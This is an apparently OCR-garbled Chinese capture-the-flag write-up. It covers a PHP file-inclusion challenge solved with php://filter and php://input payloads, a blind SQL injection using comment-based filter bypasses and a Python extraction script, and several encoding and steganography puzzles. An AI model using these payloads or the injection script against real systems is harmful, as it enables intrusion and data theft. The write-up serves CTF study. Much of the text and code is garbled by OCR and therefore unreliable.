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WRONG WAY! <?php
include("flag.php");
highlight file(_ FILE_ );
if(isset($ _GET["filel"]) &8 isset($ GET["file2"]))
{
$filel = $ GET["filel"];
$file2 = $ GET["file2"];
if(lempty($filel) && !empty($file2))

{
if(file_get_contents($file2) === "hello ctf")
{
include($filel);
¥
¥
else

die("NONONO");
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FE— php RIGEF, F¥H, EEEE file get contents Al php XN . HE ¢file2 WAEN hello ctf A LIE
& $filer, WEHBHLAEE flag £ flag.php F, FETEREM, BEEFEEMHHHICRKEE, B
| payload A php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input , data 4 hello ctf

@ Load URL
& split URL

3 Execute

THile1=php://filter/read=convert. base64-encode/resource=flag.php&file2 = php://input

Postdata [ | Referrer 4 OxHEX ¥ &% %URL 3 @& BASE6d 3B Insert string to replace “J.'-‘se-n' replacing string Replace All 3
Post data hello ctf

o

WRONG WAY! <7php
include ("flag.php"):
highlight_ file(_ FILE ):
if (isset ($_GET["filel"]) && isset(5_GET["file2"]})
{
sfilel = §_GET["filel"]:
sfile2 §_GET["file2");
if (lempty ($filel) && 'empty(s$file2))
{
if (file_get contents ($file2) "hello ctf")
{
include ($filel);
}
}
glse
die ("NONONO") ;
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[v] Post data [ ] Referrer 4 OxHEX 3  @% %URL 3 @ BASEGA I | nsert string Lo replace “mw; replacing string [ Replace Al 2 |
Post data class=18&limit=4
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—MEANE, RIRKKIEEEE RS E T, BT —EFHF fuzz To

2 I 200 (=] o 1317
3 I 200 (=] =] 1317
4 i 200 (3] =] 1317
5 &A 200 3] o 1317
G = 200 (=] =] 1317
7 > 200 =] o 1317
B < 200 3] o 1317
12 ! 200 (=] =] 1317
13 " 200 (3] =] 1317
14 . 200 o o 1317
16 . 200 (=] =] 1317
19 - 200 (3] =] 1317
21 # 200 3] o 1317
28 regesp 200 (=] =] 1317
29 substr 200 =] o 1317
3 left 200 3] o 1317
32 join 200 (=] =] 1317
34 like 200 (3] =] 1317
ar union 200 3] o 1317
” ascl 200 - BDNYEbaynk
49 nat 200 (3] =] 1317
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7] Fostdata LI Keferrer WK UxHEX B WK WUKL P WK BAMEO4 JP | insersiring (o replace | [inst
Post data class=1/*a*/and/*a"/7/*a*/IN(length{database()))&limit=4
S
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import requests
url = 'http://x.x.x.x/"'
for j in range(1,8):
for i in range(@, 128):

data = {
"class": "1/*a*/and/*a*/{}/*a*/IN(mid(database()/*a*/from/*a*/{}/*a*/for/*a*/1))".format(hex(i),]j),
"limit": "4"

}

html = requests.post(url,data)

if '#fZ' in html.text:
print("SB{IMNFRRE{}" .format(j,chr(i)))
break
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</head>
<body>
{div class="container”>

<h1> K—iRFE < hl>
flagfrfEflagfiirlag s Ft

<form method="post” class="form—group”>
<label for="name”>iffE2#</1abel>
{select class="form-control” name="class”> (g @haynlk
<option value="1">Hifi</option> B

MHMEART, AR, XERFEEEEL. - .

"class": "1/*a*/and/*a*/{}/*a*/IN((select/*a*/length(flag)/*a*/from/*a*/flag))".format(i) HH flag KEN 39
"class":

"1/*a*/and/*a*/{}/*a*/IN(mid( (select/*a*/flag/*a*/from/*a*/flag)/*a*/from/*a*/{}/*a*/for/*a*/1))".format(hex(i),
j) B3] flag
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G i

40595954494Q32515046324757595N534R52415653334357474R4N575955544R405N4Q4643454059474253464Q5N444R4Q5133455752405N
454249444735425540595N445340324R495657465155324640493456495640464R4R494543504N35
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4B595954494D32515046324757595A534E52415653334357474E4A575955544E4B5A4D46434FA4B59474253464D5A444E4D51334557524B5A
4F424944473542554B595A44534B324E49565746515532464B49345649564B464E4E494543504A35
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BHEEH base32, B3

V143Pytkc21AY1V3S1RmVXQ9X0dVdmd6KEYpP3t4V29+ME1IXSEROTUEKPA==

XEERGTIHFA, FEEK basesa , HH)5HIE L HMA HRHE X

WRE NIRRT TSI TR
WA 7?+dsi@bUwlTfUt=_GUvgz(F)?{xWo~0IWHD}MA$<

BASE64/% | BASE64#RE: CSDN @baynk

XEESERE T EH IR basess 5 FHRID A GBS E] flag , FRKIRE —BHIBHEM LMK, H#HHE— T HBaseCrack, T
FH.

[—] Encoded Base: V143Pytkc21AY1V3SIRmVXQ9X0dVdmd6KEYpP3t4V29+ME1XSERITUEKPA==
[-] Iteration: 1
[-] Heuristic Found Encoding To Be: Base64

[-] Decoding as Baseb4: W 7?+dsi@Uw]TfUt= GUvgz (F) 2 {xWo OIWHD} MA$<

L G e )
[-] Iteration: 2
[-] Heuristic Found Encoding To Be: Base85

[-] Decoding as Base85: flag{WOw yOu c4n really encOdlng!}

{{{K====== S===S====SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSEs =======))}}
[-] Total Iterations: 2

[-] Encoding Pattern: Base64 —> Base85

[-] Magic Decode Finished With Result:

[-] Finished in L0648 seconds CSDN @baynk

FIXA A HTRHE MsE B ET B https://gchqg. github.io/

Recipe Bam s Input

V143Pytkc2lAY1V3S1RmVXQ9X8dVdmd6KEYpP3t4V29+MELXSERITUEKPA==
From Base64 Qn

Alphabet
A-Za-z@-9+/=

-


https://github.com/mufeedvh/basecrack

Remove non-alphabet chars

From Base85

Alphabet

0-9A-Za-z ! #$%&()*+\-;<=>20"_"{|}~

Misc

Output

flag{Wew_yeu_c4n_really_encedlng!}

XA B B, F stegsolve FTFFXXMF/E, ] 1sb MATER, L& LEAIFFRMWI

Extract Preview

b40000002623T836
2E237836213b2623
623b26237836353b
T837373b2623T835
2E23ITEIEI23b2E23
353b26237835343b
T836353b2623T836
26237833303b2623
353b26237835063b
TA836ESIbZ623TE36

Mipha []7 [

Preview Setlings

363b2EZ3TEIEEIID
TE3e3TIL2E2ITHIT
26237833303b2623
E63b2E23TEI3343b
T9366E3bIE23TAIT
2623783%663b2623
E53b2EZ3TEIEIIIL
7836342262376
26237833343b2623
343b2E237EI5E63D
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Order sellings

Extract By ® Row ) Column

Bl Drder & MSBFirst ) LS8 First

Bit Plane Dnder
i RGE ) GRB

1 RBG ) BRG
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&#X66; &HX6C ; &HX61 ; &HX67 ; &HXTD ; &HX68 ; &#X30; &HXT7 ; &HX5T ; &HX34 ; &HX62 ; &HXOT ; &HXT 5 ; &H#X54 ; &#X5T ; &#X65 ; &#x6e ; &#Xx63 ; &#x3
0; &#X64 ; &#X65 ; &#X5T ; &#X34 ; &itx6e ; &#X64 ; &#X5T ; &#X70; &itx6e ; &#x47 ; &#tx7d;
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XEMEER R, TAMERATUERES flag
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Select Manipulated File

Step Select the carier file from which you wantto extract data.

[C\Users\CISP-PTE[Desktophimu.pdf |

File Type:
Bitrmap graphic (*BMP, * RLE)

Flain text file (* TXT. *ASC) - standard method
Help Flain text file - compatible method, HTML or XML file
hat file (* FOF)
Settings

Flowchart - Mode | << Back Continue »>
[ 123, txt ] 2021/9/29 15:51  WEXH 1 KB
ilsupp. dat 2004/2/8 21:13 DAT 3TfF 335 KB
® vbsddde. hlp 2008/12/21 22:06 FEENICHF 27 KB
) vbsden hlp 2003/12/21 22:05 FERNCHE 26 KB
“*f vbStegod. Sopen. exe 2004/2/17 23:17 EEARS 944 KB
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0x03 Bt
M T #: https://pan.baidu.com/s/1ZDr52JJzu36dFBhn1dPR-g 1EUFY: 35ts
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